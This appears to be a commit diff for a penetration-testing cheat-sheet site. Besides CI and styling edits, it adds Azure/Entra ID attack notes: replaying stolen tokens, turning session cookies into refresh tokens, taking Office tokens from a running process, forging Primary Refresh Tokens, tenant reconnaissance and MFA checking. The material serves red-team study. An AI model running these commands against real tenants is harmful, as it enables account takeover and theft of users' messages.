PATT Migration - v0.2

.github/workflows/ci.yml

@@ -5,9 +5,7 @@ on:
     branches:
       - master 
       - main
-  # At minute 0 past every 6th hour
-  schedule:
-  - cron: "0 */6 * * *"
+
 jobs:
   deploy:
     runs-on: ubuntu-latest

custom.css

@@ -0,0 +1,13 @@
+.md-header{
+    background-color: #841F36;
+}
+
+@media screen and (min-width: 790px) {
+    .md-grid{
+        max-width: 100%;
+    }
+
+    .md-sidebar{
+        width: auto;
+    } 
+}

docs/cloud/aws/todo.md

@@ -1 +0,0 @@
-TODO

docs/cloud/azure/access-and-token.md

@@ -1 +0,0 @@
-TEST B

docs/cloud/azure/azure-access-and-token.md

@@ -0,0 +1,76 @@
+# Microsoft Entra ID / Azure Active Directory
+
+
+## Access Token
+
+Decode access tokens: [jwt.ms](https://jwt.ms/)
+
+* Use token
+    ```ps1
+    # use the jwt
+    $token = "eyJ0eXAiO..."
+    $secure = $token | ConvertTo-SecureString -AsPlainText -Force
+    Connect-MgGraph -AccessToken $secure
+
+    # whoami
+    Get-MgContext
+    Disconnect-MgGraph
+    ```
+
+
+## Refresh Token
+
+* Requesting a token using credentials
+    ```ps1
+    TODO
+    ```
+* 
+
+
+### Get a Refresh Token from ESTSAuth Cookie
+
+`ESTSAuthPersistent` is only useful when a CA policy actually grants a persistent session. Otherwise, you should use `ESTSAuth`.
+
+```ps1
+TokenTacticsV2> Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8"
+TokenTacticsV2> Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."
+```
+
+
+### Get a Refresh Token from Office process
+
+* [trustedsec/CS-Remote-OPs-BOF](https://github.com/trustedsec/CS-Remote-OPs-BOF)
+```ps1
+load bofloader
+execute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i  7324
+```
+
+
+## Primary Refresh Token
+
+* Use PRT token
+    ```ps1
+    roadtx browserprtauth -prt roadtx.prt -url http://www.office.com
+    ```
+
+
+### Extract PRT on Device with TPM
+
+* No method known to date.
+
+
+### Generate a PRT by registering a device
+
+```ps1
+roadtx interactiveauth -u user.lastname@domain.local -p password123 -r devicereg
+roadtx device -n devicename
+roadtx prt -u user.lastname@domain.local -p password123 –-key-pem devicename.key –-cert-pem devicename.pem
+roadtx prtenrich –prt roadtx.prt
+roadtx prt -u user.lastname@domain.local -p password123 –-key-pem devicename.key –-cert-pem devicename.pem -r 0.AVAApQL<snip>
+```
+
+
+## References
+
+* [Hacking Your Cloud: Tokens Edition 2.0 - Edwin David - April 13, 2023](https://trustedsec.com/blog/hacking-your-cloud-tokens-edition-2-0)
+* [Microsoft 365 Developer Program](https://developer.microsoft.com/en-us/microsoft-365/dev-program)

docs/cloud/azure/azure-devices-users-services.md

@@ -0,0 +1,22 @@
+# IAM
+
+> Root Management Group (Tenant) > Management Group > Subscription > Resource Group > Resource
+
+* Users
+* Devices
+* Service Principals (Application and Managed Identities)
+
+## Users
+
+```ps1
+```
+
+
+## Devices
+
+### Join Devices
+
+### Register Devices
+
+
+# Service Principals

docs/cloud/azure/azure-enumeration.md

@@ -0,0 +1,34 @@
+# OSINT AAD - Recon Domains
+
+Extract openly available information for the given tenant: https://aadinternals.com/osint/
+
+```ps1
+Invoke-AADIntReconAsOutsider -Domain "company.com" | Format-Table
+Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table
+```
+
+# Azure AD - Collectors
+
+* roadrecon
+    ```ps1
+    roadrecon auth --access-token eyJ0eXA...
+    roadrecon gather
+    ```
+* AzureHound
+    ```ps1
+    ./azurehound -r REFRESH_TOKEN list --tenant domain.local -o output.json
+    ```
+
+
+# Azure AD - Conditionnal Access
+
+Enumerate Conditionnal Access Policies: `roadrecon plugin policies`
+
+# Azure AD - MFA
+
+* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services
+```ps1
+Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020
+Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 -Recon -IncludeADFS
+```
+

docs/cloud/azure/azure-phishing.md

@@ -0,0 +1,4 @@
+# Illicit Consent Grant
+
+# Device Code Phishing
+

docs/cloud/azure/azure-services.md

@@ -0,0 +1,15 @@
+# Azure Runbook
+
+Runbook must be SAVED and PUBLISHED before running it.
+
+
+
+
+# Office 365
+
+## Extracting Microsoft Teams Messages
+
+```ps1
+TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
+AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
+```

docs/cloud/azure/enumeration.md

@@ -1 +0,0 @@
-# TEST A

mkdocs.yml

@@ -23,6 +23,9 @@ theme:
     - toc.integrate
     - navigation.top
 
+extra_css:
+    - custom.css
+
 markdown_extensions:
   - def_list
   - pymdownx.tasklist: